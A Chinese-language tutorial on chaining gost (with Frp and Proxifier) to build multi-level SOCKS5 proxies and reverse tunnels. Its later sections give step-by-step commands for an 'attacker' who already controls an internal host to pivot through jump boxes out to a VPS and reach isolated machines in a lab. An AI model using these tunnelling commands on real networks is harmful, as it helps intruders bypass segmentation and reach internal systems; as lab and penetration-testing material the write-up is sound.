对gost(https://github.com/ginuerzh/gost)做多级代理的一些场景进行总结。
1.常规开放HTTP/SOCKS5代理
- 作为标准HTTP/SOCKS5代理
gost -L=:8080
- 设置代理认证信息
gost -L=admin:123456@localhost:8080
- 多端口监听
gost -L=http2://:443 -L=socks5://:1080 -L=ss://aes-128-cfb:123456@:8338
2.端口转发(TCP,将内网端口转发到公网服务器)
机器(49.233.233.233)运行:./gost -L socks5://:2345 (意思是,建立端口为2345的gost服务端) 假如你有一个网站建立在机器(192.168.176.128)上,端口是5000. 机器(192.168.176.128)运行:./gost -L rtcp://:8080/:5000 -F socks5://49.233.233.233:2345 (意思是,将机器192.168.176.128端口5000绑定到机器49.233.233.233端口8080上) 这时攻击者访问机器(49.233.233.233)的8080端口,就是访问机器(192.168.176.128)的5000端口。这样就完成两台内网机器相互访问了。
VPS:建立端口为2345的gost服务端
./gost -L socks5://:2345
将机器192.168.176.128端口5000绑定到机器10.80.5.244端口8080上
./gost -L rtcp://:8080/:5000 -F socks5://49.233.233.233:2345
访问vps 8080端口,即访问到对应内网5000端口。
3.端口转发(SSH)
作为转发通道,配合本地/远程TCP端口转发使用。
服务端:
gost -L=forward+ssh://:2222
客户端:
gost -L=rtcp://:1222/:22 -F=forward+ssh://server_ip:2222
4.gost-反向socks5(一层)
vps(vps开启socks5端口):
./gost -L socks5://admin:12345611@:2222
内网机器(内网开启socks5端口,通过vps 2222端口,将内网8888端口转发到vps 12345端口):
./gost -L=socks5://:8888
./gost -L rtcp://0.0.0.0:12345/localhost:8888 -F socks5://admin:12345611@49.233.233.233:2222
连接vps的socks5 12345端口,即可到达整个内网流量,那个认证和外网socks5认证没关系,proxifier可以不用设置密码。
5.gost-反向socks5(多层,每层代理都可访问)
环境: 攻击者:10.1.1.2 vps:49.233.233.233 内网跳板机:192.168.0.106 不出网内网机(node129):192.168.202.129 不出网内网机(node130):192.168.202.130 场景说明: 已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),需要做二级代理,让攻击者(10.1.1.2)可以访问到node130(192.168.202.130)。 环境配置: 配置内网跳板机(192.168.0.106)不允许访问node130(192.168.202.130),在node130上加一条防火墙规则: firewall-cmd --permanent --add-rich-rule=‘rule family=ipv4 source address=“192.168.202.1” drop’ firewall-cmd --reload (因为是虚拟机,所以需要直接干掉192.168.202.1)
**Step1:**在node129(192.168.202.129)开放socks5 8888端口
./gost -L=socks5://:8888
**Step2:**在内网跳板机(192.168.0.106)开放socks5 2222端口
gost.exe -L socks5://admin:12345611@:2222
Step3:将node129(192.168.202.129:8888)通过内网跳板机2222端口转发到内网跳板机(192.168.0.106:1234)
./gost -L rtcp://0.0.0.0:1234/localhost:8888 -F socks5://admin:12345611@192.168.0.106:2222
**Step4:**在vps(49.233.233.233)开放socks5 22222端口
./gost -L socks5://admin:12345611@:22222
**Step5:**将内网跳板机(192.168.0.106:1234)通过内网跳板机22222端口转发到vps(49.233.233.233:12345)
gost.exe -L rtcp://0.0.0.0:12345/localhost:1234 -F socks5://admin:12345611@49.233.233.233:22222
vps的12345端口为开放的最外层socks5端口。
**Step6:**连接proxifier
**Step7:**攻击者成功访问到node130。
6.Frp与gost结合打通多级代理
环境: 攻击者:10.1.1.2 vps:49.233.233.233 内网跳板机:192.168.0.106 不出网内网机(node129):192.168.202.129 不出网内网机(node130):192.168.202.130 环境配置: 配置内网跳板机(192.168.0.106)不允许访问node130(192.168.202.130),在node130上加一条防火墙规则: firewall-cmd --permanent --add-rich-rule=‘rule family=ipv4 source address=“192.168.202.1” drop’ firewall-cmd --reload (因为是虚拟机,所以需要直接干掉192.168.202.1)
非转发代理-二级代理(及二级以上代理)-简单方便
(备注:三级代理未测试,本地环境能力有限,此方式就算设置了三级代理,也会只走到第二级代理)
场景说明: 已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node129(192.168.202.129)开放socks5 8899端口,此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链,攻击者(10.1.1.2)便可以访问到node130(192.168.202.130)。
**Step1:**在node129(192.168.202.129)开启socks5 8899端口。
./gost -L=socks5://:8899
**Step2:**将192.168.202.129:8899加入代理链中。
**Step3:**攻击者(10.1.1.2)便可以访问到node130(192.168.202.130)。
此时的身份为二级代理(192.168.202.129)
转发代理-三级代理(及三级以上代理)-推荐使用
(备注:若第二层主机可以访问第三层主机,第三层代理主机不能访问第二层主机,则该方式代理无效)
场景说明: 已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node130(192.168.202.130)开放socks5 9999端口,在node129(192.168.202.129)开放socks5 8899端口并设置node129 8899端口转发到node130 9999端口,此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链、一条192.168.202.130:9999代理链,攻击者(10.1.1.2)便可以以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
**Step1:**在node130(192.168.202.130)开放socks5 9999端口。
./gost -L=socks5://:9999
**Step2:**在node129(192.168.202.129)开放socks5 8899端口并设置node129 8899端口转发到node130 9999端口。
./gost -L=socks5://:8899 -F=socks5://192.168.202.130:9999
**Step3:**此时我们只需要在Proxifier加一条192.168.202.129:8899的代理链、一条192.168.202.130:9999代理链。
**Step4:**攻击者(10.1.1.2)便可以以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
端口转发-三级代理-麻烦方法
(此方法非常麻烦,很绕,是通过最里层主机转发端口出来,记录原因是假如以上方式都无效,可尝试此方法。)
场景说明: 已获取node129(192.168.202.129)权限,内网跳板机(192.168.0.106)不通node130(192.168.202.130),已配置内网跳板机Frp代理,在node130(192.168.202.130)配置socks5 8888端口,node129(192.168.202.129)开放socks5 2222端口,node130(192.168.202.130:8888)通过node129的2222端口转发到node129(192.168.202.129:12345),此时我们只需要在Proxifier加一条192.168.202.129:12345的代理链,攻击者(10.1.1.2)便可以以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
**Step1:**在node130(192.168.202.130)开启socks5 8888端口。
./gost -L=socks5://:8888
**Step2:**在node129(192.168.202.129)开启socks5 2222端口。
./gost -L socks5://admin:12345611@:2222
**Step3:**在node130(192.168.202.130:8888)通过node129的2222端口转发到node129(192.168.202.129:12345)
./gost -L rtcp://0.0.0.0:12345/localhost:8888 -F socks5://admin:12345611@192.168.202.129:2222
此时,node129(192.168.202.129:12345),开放socks5 12345端口。
**Step4:**将192.168.202.129:12345加入代理链中。
**Step5:**攻击者(10.1.1.2)便可以以node130(192.168.202.130)身份访问到node130(192.168.202.130)内网。
注意:可以看到login from 192.168.202.130,我们成功以三级代理的身份访问了。
一级:192.168.0.106
二级代理:192.168.202.129
三级代理:192.168.202.130
7.总结
1、代理链原理,首先需要把最外层跳板机的流量带出来(Frp或gost都可以实现),内层流量(二层、三层、四层等等)代理主要是在每层对应的主机开启gost socks5端口,主要分为非转发代理(./gost -L=socks5://:8899)和转发代理(./gost -L=socks5://:8899 -F=socks5://192.168.202.130:9999),二层推荐非转发代理开启,三层推荐转发代理开启。
2、若第二层主机可以访问第三层主机,第三层代理主机不能访问第二层主机,则代理无效。